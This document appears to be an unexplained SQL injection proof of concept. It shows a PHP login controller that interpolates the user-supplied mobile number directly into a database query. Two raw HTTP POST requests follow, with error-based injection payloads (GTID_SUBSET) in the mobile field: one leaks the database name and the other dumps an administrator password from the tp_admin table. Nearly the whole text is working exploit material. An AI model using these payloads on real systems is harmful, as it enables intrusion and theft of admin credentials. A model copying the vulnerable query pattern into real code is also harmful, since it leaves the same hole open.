public function index(){  if(IS_POST){    if(!tpCache('basic')['wzkg']){      self::die_user();      $this->ajaxReturn(L('gg_xz_b1'));    }      if(tpCache('basic')['home_ver_img']){      if(!$this->check_verify($_POST['img_code'])){        $this->ajaxReturn(L('not_yzm_bt'));die;      }    }      $_POST['mobile'] = trim($_POST['mobile']);    $_POST['password'] = $_POST['pwd'];    $user = M('users')->where("mobile = '{$_POST['mobile']}'")->filter('strip_tags')->find();    if(!$user['is_lock'] && $user){      $this->ajaxReturn(L('not_dl_bb1'));die;    }    if(!$user){      $this->ajaxReturn(L('not_dl_bb2'));die;    }    if($user['password'] != encrypts($_POST['password'])){      $this->ajaxReturn(L('not_dl_bb3'));die;    }    $_SESSION['mobile'] = $user['mobile'];    $_SESSION['user_id'] = $user['user_id'];    if($_SESSION['mobile'] && $_SESSION['user_id']){      $data['last_ip']=getip();      $data['logintime']=time();      $data['token']=md5(time().rand(1,99999));      $_SESSION['user_key'] = $data['token'];      unset($_SESSION['news_ck']);      M('users')->where("user_id = '{$_SESSION['user_id']}'")->filter('strip_tags')->setField($data);      //$ip = explode('.',getip())[0].'.*.*.'.explode('.',getip())[3];      $ip =getip();      xtjlcr($_SESSION['user_id'],'0',"登录系统[$ip]",'0','dlxt');      $this->ajaxReturn('1');die;    }else{      $this->ajaxReturn(L('not_dl_bb4'));die;    }  }  $this->display();}

POST /index.php/Login/index.html HTTP/1.1Content-Length: 111Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedCookie: deviceid=1708223329907; rockkefu_deviceid=1708240409582; think_language=zh-CN; PHPSESSID=1pp9vimuj0vqgtqnfjh21ba1l6Host: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/index.php/Login/index.htmlSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1Connection: closemobile=') AND GTID_SUBSET(CONCAT((MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,190))),1471)-- wIkR&pwd=123123&img_code=1752

POST /index.php/login/index.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 35Content-Type: application/x-www-form-urlencodedCookie: deviceid=1708223329907; rockkefu_deviceid=1708240409582; PHPSESSID=5k2f25hnejafamvlbmjdgao5i9; think_language=zh-cnHost: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/index.php/Login/index.htmlSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1mobile=') AND GTID_SUBSET(CONCAT((SELECT MID((IFNULL(CAST(password AS NCHAR),0x20)),1,190) FROM 数据库.tp_admin ORDER BY password LIMIT 1,1)),222)-- ins&pwd=123123&img_code=1752